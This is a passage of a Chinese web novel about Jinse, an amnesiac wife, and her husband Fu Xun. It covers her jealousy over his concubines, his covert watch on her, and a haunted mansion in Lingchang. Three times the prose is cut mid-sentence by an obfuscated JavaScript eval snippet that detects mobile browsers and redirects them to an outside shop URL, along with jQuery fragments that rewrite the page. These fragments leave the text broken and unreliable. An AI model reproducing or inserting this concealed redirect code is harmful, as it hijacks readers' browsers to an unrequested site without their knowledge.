“有——比别人傻些”,他松开指尖,看着那朵蔷薇打着旋儿飘落水面,然后抬手,带着血珠的指尖抚过她嘴唇,他笑意隐隐,眼神越来越恍惚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14521509|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缥缈。 “有一年,我受了很重的伤,那两个傻子带着一帮更傻的下属,不遵军法、夜袭敌营去为我复仇。为一个生死不知、前途未卜的主帅,脑袋都不要了。” “以往,我总觉得自己与他们,一个为野心、一个为前程,算不得什么交情。我死了,自有别人带他们奔前程;他们死了,我不过损失一把刀、一粒棋子。可自那以后,我再没法只把他们当成快刀、棋子。” “我好像一个瞎了半辈子的人,第一次复明,发现他们也是活生生的人,有血有肉、会哭会疼。” 锦瑟听得动容,喟叹道:“死生契阔,与子成说。执子之手,与子偕老。袍泽之情本就是如此,阿洵此时发现也不晚。” 苻洵将深红色蔷薇拨了拨,让其飘向紫色蔷薇:“我那位故人也极重袍泽之情,为下属性命不惜三跪九叩,自己都伤着,还惦记着下属吃穿用度,可惜与我分属敌对两国。” 锦瑟心头莫名沉甸甸的,挤出一个微笑:“不如意事常九八……何况,邦国之间伐交无定,如今为敌,或许哪天又开始交好了。” 苻洵斜睨一眼她,笑容有些深沉:“托姐姐吉言。” 波面上,深红蔷薇直直飘向浅紫蔷薇,绕着浅紫蔷薇转圈,两朵花若即若离、乍分乍合。最终,紫色蔷薇飘出了漩涡中心,与深红蔷薇在漩涡边缘两两结对、一起旋转。 水汽蒸腾,他斜靠池岸泡在汤泉里,穿着浅白棉布中衣,乌发随意披散下来,有几绺贴在颊边和胸膛。他眉心微蹙,面如桃花,双颊两团红晕,双唇红润柔软,正闭目浅眠。 他喜欢泡在池子里睡觉,有时甚至整宿不回房歇息。 她轻轻靠过去,牵起他的手,是温热微烫的。拨开他的头发,柔软乌发晕着温润的光,质地像是最上品的绸缎。撩开他衣襟,胸口肌肤坚实如玉,只有几道擦伤和箭伤。 初来那夜,苍白易碎的他、黑发下的几绺灰白、冰凉的十指、胸膛和腹部的七道刀伤,像是她的幻觉。 可那些破碎的噩梦、零星的怀疑,就像嵌在岁月静好里的石子,时不时硌她一下。 正思绪纷扰时,手一暖、已被他紧紧握住,他不知何时已醒了,隔着袅袅水雾在月光下看她,眼神内敛沉静。 “阿洵,我真的出身莳花馆么?”她不禁开口问,“为什么我读过那么多书,甚至能议论国政?却对乐曲那般生疏?” 苻洵神色平静:“倚翠楼本就是最上等的莳花馆,楼里姑娘无一不饱读诗书,你又聪慧,在我身边耳濡目染九年,通晓国政不足为奇。至于弹琴……你之前很在意出身,刻意疏远了乐曲。” 她想到新兴驿夜袭,又问:“我之前可习过武?” 苻洵弯了弯唇角:“我教过你一段时间刀法,姐姐很有天分,学的颇为不错。” 她追问:“那为何现在不让我学了?” 苻洵满眼心疼,抚过她两侧肩膀:“你之前为了救我身受重伤,有几处在肩膀和腿上,已深及骨骼,强行练武可能伤到自己。” 她松了一口气,旋即疑虑又起:“既是旧伤,为何没有疤?” “姐姐爱美,我找颜先生配了祛疤药,趁姐姐昏迷时祛掉了”,苻洵笑得无奈而宠溺,“何况,你那些伤虽然极深,创口却不大,能祛干净。” 她目光扫过他光洁的胸膛:“你也用祛疤药?” 又伸出手按在他心口处,问出那个藏了许久的疑窦:“若是这里被捅穿,这种程度的伤疤能否用药祛除?” 137. 醋妒 “我一个大男人祛什么疤?”苻洵笑容消失,像是被她吓住了,却还是耐心解释,“这里是心脏,刺穿了会死人的……都到那份上了,谁还顾得上祛疤?” 她蹙眉思索了半晌,又重复问道:“你真的不疼么?” “疼,怎么不疼?”他唇角又扬起那抹她熟悉的、暧昧的笑。 “姐姐,我这儿疼”,他抓住她的手、掌心紧贴在心口,桃花眼目不转睛看着她,眼神慵懒而飘忽,“阿洵中了毒,姐姐就是我的解药。” 她已习惯他的轻佻,任由他握着,目光却飘向他右腰。中衣下摆漂浮在池水里,右腰上有一块三角的深紫色疤痕,恰是烙铁的形状,与她左腰上的烙印一模一样。 他从奉宁回威远将军府之后,去刑堂找了块烙铁,烧红了贴在自己右腰上。当时,他语调很平淡,说只有这样心里才会好受些。 他爱恨分明、睚眦必报,偏激得吓人。 看到烙印,想到金州军的地牢,她酝酿半晌、试探着问:“阿洵,那天在地牢,崔氏兄弟说的褚太后是谁?你们……” 她感觉苻洵的心跳一突,他仍挂着笑容、只是那笑容冻结了,手越攥越紧:“我不想说。” 拒绝得坦荡又干脆,连编些鬼话、让她从中寻找蛛丝马迹的机会都不给。 片晌之后,苻洵僵在脸上的笑舒展了,定定注视着她,眼圈泛红、带了些哀求:“姐姐,我们就一直这样过下去,不好么?” 她沉默了,与他在一起的日子,逛夜市、对酒当歌、游山玩水、男耕女织、隐居深山,一天又一天,平淡、琐碎、庸俗,却是鲜活而明亮的,人来人往、三教九流,全是熙熙攘攘烟火气。 她很想与他一直这样生活下去,却总是没来由地、怀揣朝不保夕的恐惧,觉得眼前的生活,像一幅美轮美奂、却脆弱至极的海市蜃楼,风一吹就消散得无影无踪。 忽然觉得十分疲累,什么都不愿思考,就这般懒怠地、侥幸地、稀里糊涂过下去吧。她思绪散漫飘远,靠在池边沉沉合上双目。 恍惚间,似乎听见他轻声说:“对不起,我终究是个自私的人,做不到不计回报。” . 离开深山后,苻洵先去大渡口点将,安排好操练事宜,又马不停蹄赶回灵昌,与苻沣商议重建骑兵的事。眼下已是冬月初,他还要代圣上巡军,从军中擢选好苗子、重建玄甲营。 苻沣对苻洵格外优待,许他带家眷随军。锦瑟与他正是蜜里调油的时候,原本想跟着,却在出发的前几天,发生一段不大不小的插曲。 该来的总会来,逃避没什么用。 苻洵除她这正室之外,还有两名妾侍,锦瑟一直都知晓。但是邂逅太美,惊鸿入心太过惊艳,就那样热血上头、郑重答应了苻洵的求婚。 大婚次日,拜过姑舅、敬过新妇茶,来为嫡母奉茶的也只有三名庶子女。孩子们对苻洵一派敬而远之的疏离姿态,实在很难将他们联想成父子父女。 于是,半是心怀侥幸掩耳盗铃、半是对苻洵痴迷至深,她怏怏许久,终是半推半就咽下这碗夹生饭。 苻阐沉稳上进、苻忆冰雪聪明,她本就爱才惜才,二个孩子又对她敬重依赖。久而久之,她越来越喜欢这俩孩子,甚至喜欢到忘记他们是苻洵与别人的孩子。 苻洵对她那样好,敬她爱她、体贴、无微不至,好得让她相信、自己即使要天上星星,他也会毫不迟疑去替自己摘。好到她忘记他还有别的女人,她只是他所有女人中最得他欢心的一个。 她甚至日久弥长在做一个梦:她与苻洵只属于彼此,一起生了苻阐和苻忆,一家四口其乐融融、永无隔阂。 再好的梦境也有破碎之日。 冬月初二苻忆生辰,荣国重子嗣和血脉,为孩子庆生辰照例全府家宴。月门破例打开,花姨娘和贞姨娘与主君主母、三个孩子同席庆贺。 听絮儿说,之前还有个柳姨娘、是苻阐的生母,得桃花痨过世。三人出身很一致,全是苻洵曾经下属的妻妾,夫婿战死无依无靠,被苻洵收入府中。 不愧是苻洵看中的女子,皆是一等一的美人,花姨娘活泼爱笑、贞姨娘寡言温婉,衣裙头面是时兴样式、华贵而不俗,显然被看顾照应得很好。 她们对苻洵也是恭敬有余、亲昵不足,端端正正敛衽施礼后,各自牵着孩子在对桌坐下,全程只轻声与孩子交谈、不时问候锦瑟几声,整顿饭都未搭理过苻洵。 估摸着顾及正室夫人在场,只能避嫌吧…… 锦瑟注视着对桌的母子、母女……大大小小相似的面容,心里陡然如被千万根蘸醋的针反复锥刺,酸、苦、疼。 他们血脉交融的孩子。 她陡然想起在深山,自己与他那样亲近过,严丝合缝过,她将其当作二人独有难忘记忆,旖旎、羞怯、热烈、甜蜜、愉悦……可笑妄想罢了。 她曾当自己是他心尖尖上的人,现在只觉他的心跟刺梨一样,到处是尖尖,每根尖尖都站着个女人。 自己真糊涂,他孩子都有四个了,自己还在做“一生一世一双人”的春秋大梦。 她味同嚼蜡扒拉几口饭菜,怏怏回屋歇息,刚沐浴完毕,苻洵提着食盒进来,将菜一样样摆上桌:“看你晚饭没吃几口,想是口味偏重,这几样是你素日爱吃的。” 锦瑟看他满脸温柔笑容替她布菜,陡然联想到,他是否也如此绵言细语对其他女人说话,记住她们喜好的口味和菜品? 本想让他滚出去,话到嘴边咽了回去,一口眼泪一口饭菜囫囵吞下肚腹。 憋憋屈屈吃了没几口,胃部开始一抽一抽剧痛,苻洵吓了一跳,忙叫她别吃了。一边吩咐人煎药、一边灌了个汤婆子替她暖小腹,然后小心翼翼试着替她揉胃腹。 “以前从没胃痛过,这几天受寒了?” 修长结实的手按在她上腹,恰到好处的力道,不疾不徐、不轻不重,她忍不住又想,他在其他女人身上练习多少次,才能如此恰到好处。 喝下药汤,折腾了小半夜,胃疼慢慢止住,她也困乏得不行,却翻来覆去睡不踏实。 迷朦之间,感觉苻洵舒臂揽住自己,在她耳边柔声问:“可是有心事,能否说来给我听听?” 她轻轻推了一下,没推开,于是加大力气挣扎扑腾,岂料那胳膊跟生铁铸成一般、纹丝不动,她急得红了眼圈,抓住他胳膊用力咬下。 苻洵垂眸不语,任她将自己胳膊咬出血痕,待她发泄完怒气,才慢慢松开手臂:“姐姐轻些挣扎,咬我几口不要紧,别把自己磕着撞着了。” 锦瑟心头一暖,瞬间又想,同样的话他不知跟多少女子说过。盯着他期待的眼神,张了张嘴,却不知说什么。 不准他纳妾?她自己就是侍妾出身,不纳妾哪来他们这段姻缘? 不准他亲近其他女子?几个孩子摆那儿,不亲近哪来的孩子? 要他以后只准亲近自己?说了等于白说,听柳儿絮儿讲过,苻洵自打决心成婚,就散尽姬妾。那几位姨娘不过是有子嗣,骨肉分离有违人伦,侯府有责任赡养她们后半辈子。 说到底,不过是浪子回头的俗套戏码,苻洵所作所为,甚至算不得“浪子”。 荣国是四战之国,死在沙场上的男儿无数,男子若不三妻四妾,且不说人口无法恢复,那些没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534579|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有夫主可依的女子,连谋生都成问题。说到底,民风如此,她再膈应也无可奈何。 于是,沉吟良久,她委委屈屈说:“从今以后,不准你再碰我。” 这话说得中气不足,抽抽噎噎,苻洵看着她泪汪汪的眼睛,一头雾水不知所措,只好往外退、一直退到床的边缘。 第二天,锦瑟在温暖柔软中醒来,迷迷糊糊睁开双眼,看清眼前场景后,霎时睡意全无—— 她的双手环在苻洵腰上,整个人紧紧贴着他。苻洵眉眼带笑看她,双臂微抬、距离她身躯约一寸高,似在迟疑要不要放下。 她目不转睛盯着他许久,吸了吸酸楚的鼻子,含着泪郑重宣布:“我不想跟你过了。” 苻洵笑容僵住,神色一分分变冷,定定注视着枕边人,眼里不断闪过愤怒、悲凉、不甘。忽然舒展眉眼、再次挤出个微笑,颤声问:“姐姐是不是做了什么噩梦,大清早跟我开玩笑?” 她坐起来,挺直上半身,一瞬不瞬盯着他:“不是玩笑,我想了一夜,这件事只能这件事解决。” 苻洵一头雾水:“什么事?” 她深吸一口气,认真地、毅然决然地说:“我不能像以往那样,浑浑噩噩与你过下去。因为……” 滚烫唇瓣落下,她心神一漾、难以自抑闭上眼,却转瞬被委屈和悲哀淹没,别过脸避开,吸了吸鼻子,泪水夺眶而出:“我们不要再这样。” 苻洵捧住她脸颊、扳得她面向自己,急切地问:“我们以前不是还好好的吗?这次又是什么理由?为什么你总有这样那样的理由离开我,为什么被放弃的总是我?” “借口!全是借口!” 他热血上涌、声音越来越高,手抖得厉害,猛然箍住她的头,不管不顾狠狠吻下。 她身躯僵住,任由他恣肆地越吻越深,伸手要推拒、却迟疑在半空。 泪水从眼角滑落,她如梦初醒、狠狠推开他,挥臂甩过一耳光,声嘶力竭怒吼:“不要用亲过其他女人的嘴来亲我。” 苻洵愣住了,伸手抚上自己嘴唇,已被她咬破,他又摸了摸脸上五指印。脸上愤怒却荡然无存,甚至连之前的急切都没了,神情变得古怪,带着迷惘和尴尬的笑。 她心一横,继续脱口而出:“是,我以前只是你的侍妾,没心没肺靠你养活。可现在不行了,因为我不再没心没肺,我……我喜欢你。” “我一想到你跟别人亲近过,还生了三个孩子,心里就跟针扎似的难受,比离开家门流落街头、缺衣少食还难受……” “我……我没有……”苻洵一个头两个大,“你听我狡辩……不是,听我解释。” “你还愿费心思哄我,我很高兴”,她越说越伤心,泪水不断掉落,抽抽噎噎道,“荣国人看重子嗣,男子姬妾成群才是寻常,何况你位高权重,我没法子强求你为我破例,所以另外想法子。” “我跟她们真没什么,你看她们那样子,像跟我很熟吗?”苻洵无力地辩解着。 “有孩子也没事,你不用骗我”,她含着泪挤出微笑,“我想了一夜,既然过不了心里这道坎,孩子这么大也塞不回去,不如咱们一别两宽,好歹我眼不见心不烦。我读过书,出去另寻活计度日也不成问题,咱们放过彼此。” 苻洵急了:“他们真不是……” “你骗鬼呢!”锦瑟忍无可忍,恼羞成怒、声音拔高几度,“你府里侍妾,没你……没你她们自己生?” 苻洵满脸啼笑皆非:“你昨晚气得饭都没吃、肚子疼了大半夜,就为这个?” 觑着她憋红的脸,泪巴巴的眼,他声音软了几分:“好吧,跟你说……” 138. 樊笼 “大公子,二娘子请稍等”,门外隐隐传来絮儿的声音,“侯爷和夫人还未起。” 苻洵顿时泄气,抬眸哀求道:“能不能不走,等几年、等几年我一定跟你讲清楚。” 他缓缓牵过她的手、将掌心贴在自己腰间,三角状的烙铁印手感清晰。 “阿洵是姐姐是一个人的,从前、现在、以后一直都是”,他注视着她双眸,一字一字道,“若我此言有半分虚假,必定时刻承受摧心伤肝之痛,生不如死。” “你不必这样,我……我……”泪水越流越多,将她好不容易攒起的决心一点点冲刷干净。 苻洵忽然眼睛一亮:“有办法了,蛮族有一种蛊,叫情蛊,禄丰山那个村子就有人会种,下次我们……”他越说开心,露出劫后余生的笑。 “用不着”,锦瑟垂着头轻声说,“我膈应归我膈应,感情的事强求不来。” 苻洵又哀求:“我知道你有法子谋生,可外头兵荒马乱,你又是从洛川别苑出去的,万一被我仇家寻到,再连累你受苦该怎么办?” 这话正戳她痛处,她沉默了。 “算阿洵对不起姐姐,不要和离,我以后绝不乱来。姐姐若觉得气闷,随时找阿洵闹一闹,打也打得骂也骂得”,觑着她神色,他松了口气,又压低声音说,“还有个好法子,哥哥十分满意咱们这桩婚,若我什么时候把你气得狠了,你就直接去哥哥跟前告状,他定会狠狠罚我……” “哪有你这样给自己挖坑。”锦瑟啼笑皆非,佯作恼怒拍打他一下。 苻洵一向鬼话连篇,她也不知该不该信。可说到底,那些陈年旧事、信与不信都影响不到他们的如今和未来。 他对她的情意是真的,她深信不疑,只是心里会时不时难过。 这不大不小的插曲,虽最终未闹得一别两宽,却再不复新婚燕尔那般甜蜜。苻洵每夜主动睡到外间那张软榻上,除了担着夫妻名头,偶尔还牵牵手、抱一抱、动作比陌生人亲密些,再无半分逾矩。 在巡军之前苻洵说,她身体虚底子薄,巡军路线上有不少苦寒之地,不若就留在气候温润的灵昌好生休养。 她从善如流。 除了那点隔阂,她更怕管不住自己,那个魔怔了般总被他吸引,情难自已、欲罢不能的自己。 真没出息! . 苻洵在朝中除了麾下门生武将,几乎不结交什么挚友同僚,之前骂他权臣的人,此时又都赞他纯臣。权臣纯臣、是非对错也就一面之辞。 她也不去那些诗会、茶会、赏花会、马球会,原因很简单:她懒。那些迎来送往、弯弯绕绕的言语,她听得懂、也会应对。可她十分疲懒,十分抗拒花这些心思。 成婚近半年,灵昌贵妇圈几乎无人得见建业侯夫人真容。 苻洵对她大加赞赏,说他们离王权太近,跟谁走近都有结党之嫌,不若持身中正、口风严实,又自作多情地当她跟自己同进同退、十分感动。 但有来无往太傲慢,于是她将所有拜帖连起来,排出时间表,准备些不轻不重的礼品送上门,略表礼数。 继后也宣过她几回,旨意还没出长秋宫就被苻沣劝回,一是担心继后心绪激动、闹出个好歹,二是她上次稀里糊涂挨了顿揍,苻沣颇过意不去。 可锦瑟很喜欢继后,初初碰面就莫名觉得亲切。听说继后已有六月身孕,她花费近一个月,用不甚娴熟的女工绣了一幅麒麟送子图。 奉上去没两天,柳华姑姑来洛川别苑,说王后很喜欢,并送下赏赐:一只锦盒和一对犀角梳。 锦盒里是剔透的琉璃瓶,瓶中盛着精纯的桂花油,犀角梳造型古拙、几无花纹,散发着淡淡乳香。她一直睡眠不好、半夜复醒复睡,用桂花油梳头,不仅润泽发丝、还能疏导助眠。 收到合心的赏赐,她更喜欢继后了。 她与继后来往授受物件,苻沣喜闻乐见。他还是兄长为父的心思,更期待妯娌和睦。 她逛夜市时,见到新奇的小玩意,譬如小瓷狗、竹蜻蜓、鲁班锁之类的……必定会买双份,送一份进宫奉给继后,听说继后全都爱不释手。 这天,她在西市看上一串海贝风铃,银色丝线串着大小不一的海贝,奶白、浅粉、淡蓝、檀色,点缀着珊瑚珠,风一吹摇摇晃晃、好像活了过来,于是掏出钱打算买两串。 “这些日子,夫人还是暂时莫送东西入宫”,苏裳在一旁盯了许久,眼神复杂,“王后这一胎,两国都盯着呢。” 锦瑟怔愣片刻,旋即明白过来,无奈辩解:“送进去前由女官和御医细细查过便罢,难得有几样物件能给她解闷。” 买下两串后想了半晌,喟然长叹:“先买着,待小王子出世再送进去吧。”谨慎为上,沾上干系总是不妙。 苏裳眼含讥诮:“听说年初的时候,王后娘娘主动许婚敌国君主,举国哗然,眼下得了实惠,又全都眼巴巴盼上了。” 苻沣对继后极尽宠爱,爱屋及乌,在东原道起用不少翊人为官,对当地的治理也颇为宽仁。 锦瑟似笑非笑:“总觉得她是心思剔透之人,怕是早已料到今日。可惜无端承受骂名不说,还惯大了南翊人的胃口。” 苏裳悠悠吟道:“遣妾一身安社稷,不知何处用将军?” “你说南翊究竟在等什么,厉兵秣马?”刚一问出口,她便立即否决,“不会吧,就算是连吃败仗,南翊的兵马也比荣国多得多。” 苏裳眉眼一弯,瞎话连篇:“大概是在等熬死建宁王,嫡子继位、继后当上摄政太后吧。” 继后有孕,苻洵多次上书说苻阙无治国之才,当使苻阙回归本宗,次次被苻沣驳回。 锦瑟垂眸不语,好像隐隐猜到什么,旋即岔开话题:“你跟的那位公子,战死前就职何处?” “昇阳城,君王禁卫”,苏裳凝眸盯着她,“他很早就安顿好了我,可我不想待在阊江,天天听那些人传唱《英烈本纪》,就出来瞎转悠,图个热闹开心,反正也不缺银钱、用不着进那些荤场子。” 锦瑟哑然失笑:“打仗打不赢,就知道传唱那破玩意儿、盯着女人的肚子。” “有什么办法,若是太平盛世、那拨人都算治世能臣”,苏裳耸耸肩,无奈叹息,“可这非常之时,若没一个足够聪明强势的国君,自己人都能斗成一锅粥。” “堂堂第一大国,竟沦落至此”,锦瑟莫名心情低落,向着前方花灯加快了步伐,“金尊玉贵的长公主、堂堂一国之后,竟被那些废物看得跟坐牢似的。” 苏裳定定注视着她的背影,唇角扬起一抹苦涩而讽刺的笑:“坐牢?谁又不是在樊笼里呢?” . “夫人最近都在忙什么?” 低垂的银红色帷幕围成一圈,浴桶蒸腾着袅袅白汽,苻洵合目靠在桶壁上,懒洋洋开口。 郎琊端着托盘进来,将药碗端给他:“最近不怎么给王后送物件了,还跟往常一样,喜欢去西市买新鲜的小玩意,时常约飞花楼的苏裳一起,她们十分聊得来。” 苻洵额头汗滴如豆,双颊被热气熏出不正常的红晕,双手紧握成拳,嘴唇、身躯都在微微发颤。他接过药碗一饮而尽,闭目强忍片刻,长舒一口气,颤抖逐渐停息。 郎琊忙递过丝帕:“主子怎么不在山里多待几天?” “倒是想……可到处都是事,待不住”,苻洵擦去汗滴,喟然长叹,“西陵水师天天在阜门峡闹,渝安水师等着操练,玄甲营被打成这样,拿什么去对抗金州军?” 郎琊也叹了口气,继续说:“苏裳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549182|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底细已查明,经历对得上,是干净的。可夫人与她时不时聊些时政……并未泄密,也没有对主子和荣国不利。” “无妨,随她去吧。若对时政完全漠不关心,就不是她了”,苻洵抬起手臂,看向水淋淋胳膊上几排齿痕,咬得太深、如今刚刚结痂,“她身边留两个武艺好的就够了,其他人都撤掉。” 郎琊惊愕:“都撤了?” “撤了吧,保证她安全就够了。”苻洵凝视着手臂上的齿痕,忍俊不禁笑了又笑。伸出另一只手,逐一揭开深褐色痂皮,齿痕缓缓沁出血珠。 郎琊惊叫:“主子,你怎么又揭了?” “还不够深,一直不消失最好”,苻洵的笑容温柔甜蜜,轻轻抚过齿痕,掬起一捧水浇在血珠上,“她是我的夫人,我们是这世上最亲近的人。” . 飞花楼又编了一支新舞,是改良后的绿腰。 苏裳纤腰细软,舞姿轻盈而平缓,飞袂翩似鸿,低回莲破浪,凌乱雪萦风。一舞终了,满堂寂静片刻,爆发出喝彩声雷动。 锦瑟一边看着,一边情不自禁比拟姿势,回府之后更是回忆着动作,在院中翻飞玉指拟幽兰、软折腰肢如弱柳、旋转身形如灵风。 乱七八糟、自我陶醉地跳了一阵子,她收拾钱袋、大摇大摆走向正门,絮儿追上来问:“夫人又去夜市?” 她肯定地点点头,出庆云巷之后换了个方向,直奔五桂巷。 苻洵离开灵昌后,她几乎每天都会来找谢恬和司徒空,换上留在他们小院的短打,习武半个时辰,再去闲置的灶房烧水沐浴,换回出府的衣服。然后或直接去西市,或抄近道去飞花楼找苏裳、再同路去西市。 她自己也不明白、为什么要这么拐弯抹角,只是就这样无意识地掩藏行迹。 就像她对谢恬和司徒空毫无来由的信任。 从十月初回灵昌,到腊月初,已整整两个月,她已经跟谢恬打得有来有回,换作司徒空替她喂招。 所有的刀法路数,她几乎一练就会,唯独力量始终跟不上。司徒空一身横练蛮力,纵使她把刀舞出花儿,也敌不过司徒空重重一劈,震得她虎口发麻、轻刀脱手飞出。 锦瑟有点气馁,她每次抱着石头蹲马步不到一刻,双肩和腿就痛得仿佛要断掉。 司徒空对这事看得淡:“慢慢来吧,这种事急不得,腱子肉是慢慢长出来的,何况女子本就容易失力。” 锦瑟脱掉练刀时戴的手套,觑着二人脸色,语调漫不经心:“大夫说我受过重伤,深及骨骼。” 司徒空跟谢恬对视一眼,脸色沉了几分。 司徒空:“既是重伤未愈,就再好生调理个一年半载,徐徐图之,你那肩膀和腿的旧伤……” 谢恬不动声色扯了扯他袖子,抢过话头:“不如别练力量了,阿姊再练练轻身工夫,防身保命已足够,遇上劲敌大不了跑得快些。” 顿了顿又说:“何况阿姊如今是建业侯夫人,苻洵麾下高手无数,只要你不自己跑太远,他总护得住你的。” “靠别人能有什么前途,靠山会倒,靠人会……会跑”,司徒空恨铁不成钢地指向谢恬,“夫人不肯练力量,到头来跟他一样,练个八九年还是花架子。” 谢恬怒目而视:“我吃饭靠的是脑子,不像你,一介莽夫!” “你们怎么又吵架?你们怎么老吵架?”锦瑟头大如斗,转转眼珠思索片刻,翘起唇角笑着说,“不如你们别吵了,一人跟我说一段南翊的事情吧。” “想都别想!”二人异口同声,怒目看向她。 “不说就算了,凶什么凶?”锦瑟撇撇嘴,走进灶房准备烧水洗澡。闩上门的刹那,她的笑容消失了。 她从未跟旁人提过,自己的旧伤在肩膀和腿。 139. 陋室空堂 锦瑟策马小跑进一条漆黑的窄巷,她要去找苏裳学舞。在飞花楼看了两个多月,她甚爱其游龙惊鸿的姿仪,想让自己也能舞出此等风姿。 试探着问了问,苏裳说她腰细身轻、瞧着像是有童子功,可捡起来试试。 这样一来,她的闲暇就不太够了,因为她白天基本是忙得连轴转。 耗时最多的是听学辩经。 虞正则不愧为名士,学富五车不说,对当下政事也颇有见解,苻阐、苻忆求学若渴。有时她也忍不住进去旁听,并趁虞正则闲暇时与之辩论,苻阐和苻忆若有所悟,也会试探着同他们研讨。 然后是管账,安排府中庶务。 这一项颇为繁杂,府中就是那么些人口,炊食采买、月钱、胭脂水粉、首饰珠钗、四时裁衣,外加房屋修葺翻新,园林修剪养护,与各同僚、宗亲的礼物往来。不知为何,她一接手就十分娴熟,仿佛天生就会这些。 最后这项事务,她管得十分心塞。 两个侍妾:花姨娘、贞姨娘,循旧例,每月初一和十五要向她请安。一是她腾不出闲暇,二是她一见到那两张脸,膈应的感觉又卷土重来,堵得心里发慌。 但人家也是过了文书、依法依律纳进府里的良妾,而且同为女子,她一想到她们辛辛苦苦生儿育女,自己的骨肉每月只能见两次,不由恻然。说到底,她没错、她们也没错,错的是一妻多妾的习俗。 再管理严明的府邸,仆从都看人下菜碟,若她表达出半分对姨娘们不满,有得是人见风使舵帮她践踏。 岂料那两位姨娘都很想得开,主动提出以后可以不来请安,改为由苻阐和苻忆向后院找她们小聚。见她忙不过来,又提出将小苻阗还给她们养育到学龄。 锦瑟十分感激她们全是善茬,使自己不必陷于内院鸡吵鹅斗,有更多精力做别的事。 这些她情愿的、不情愿的琐事,充斥了她每个白昼。 晚膳之后,才是她一天最快活的时光,五桂巷的刀术、飞花楼的乐舞、西市的奇物异趣…… 这几天,司徒空不在五桂巷,谢恬那小身板、打个井水都有些吃力,烧水沐浴多花费些时间。苏裳最近在城北的浣花潭白鹭台,沿子午大街北上、再顺康平街往西走上十里便到了,比去飞花楼更近。 浣花潭旁的是一片住宅,房屋有大有小,居民来自五湖四海,上至别国公卿贵族,下至贩夫走卒,形形色色不一而足。 时局动荡、战火纷飞,这样鱼龙混杂的地方,往往会酿出许多恐怖诡异的秘闻传说。听说夜深人静时,某几条无人空巷时常能见到鬼影飘荡。 这几天,锦瑟实在是赶时间,不然也不会从这条窄巷抄捷径。苏裳在白鹭台是为了排练年节的群舞,忙的跟个陀螺似的,她去得再晚些,又什么都学不到了。 街面散落着烂菜叶子、猪血、烂水果、臭鸡蛋,大白天应该也挺热闹的,此时家家店铺关门闭户。寒风从空荡荡的巷道吹来,她拢紧披风夹紧双腿,身下的小白马加快了速度。 风中飘来一股醉人馥郁,她错愕仰头,只见倾颓的围墙爬满青苔,却有数枝红梅和腊梅伸出墙顶,疏影横斜、暗香浮动。 策马而过时,她鬼使神差地勒住缰绳,纵身一跃而起、跳上一株红梅。头忽然有些昏沉、太阳穴突突直跳,她轻轻闭眼压住晕眩的感觉,却总觉得树下有人。 恍神的刹那,她眼角余光瞥见,树下有个少年负手而立,穿着胭脂红的大氅,看不清面容,正仰起头一瞬不瞬凝望树上的自己。定睛一看,那身影不见了,原地只有芜草丛生。 她定了定心神,想起当地的秘闻传说,一股寒意从脊背直冲天灵盖。不敢再多待,跳下梅树骑到马背上,匆匆离去。 这天晚上的绿腰舞练得心不在焉,先是崴了脚、然后又闪了腰。 她还强撑着要练习,苏裳吓得魂飞魄散,忙扶她坐下:“达官贵人跳这个都是自娱自乐……顶多是给夫婿看,你家侯爷不是小年才回来么,急什么?” “我才不要跳给他看,只想专注地做些事,免得歇下来胡思乱想”,她喟然长叹,“我好像撞到鬼宅了,下辈子都不抄近路,好瘆人。” 她一说这个,苏裳就不困了,两眼放光拉着她追问:“什么巷子,多大的宅院?” 锦瑟搜肠刮肚思索半天:“什么巷子不知道,我以前都走的是康平街的大路,恍惚记得街上有座很大的空宅,以往并未留意,今晚怕是绕到那宅子后门去了。” 苏裳眼睛更亮:“那可是著名的‘龙兴宅’?” 锦瑟一头雾水:“为什么叫‘龙兴宅’?” 苏裳兴奋地解释:“龙兴,就是长居于此的人最后登临大统,那宅子也就成了龙兴之地。” 锦瑟更疑惑:“这么说来,那是个风水宝地,怎么荒成那样?” 苏裳压低声音:“大概是……有哪个君王希望自己的疆域上,存着别人的龙兴之地?那宅子再好,也没哪个脖子硬的官员敢接手,又是敕造的府邸,再有钱的商户也不敢动,久而久之就荒了。” 锦瑟:“别人的龙兴之地?荣国不是只有个建宁王么?” “不是荣王,是翊庄王,曾在荣国作……暂居”,苏裳觑着她神色,耐心地叙说,语调不疾不徐,“那是一座四进大宅,由荣国永兴王敕造,九年前的渝安叛乱中,庄王寻得时机归国发动政变,用极短的时间夺回权位。” 锦瑟听“永兴王”、“渝安叛乱”十分耳熟,却怎么都想不起‘庄王’二字,于是问:“翊庄王?是南翊北翊分裂之前的王么,为何史书未有记载?” 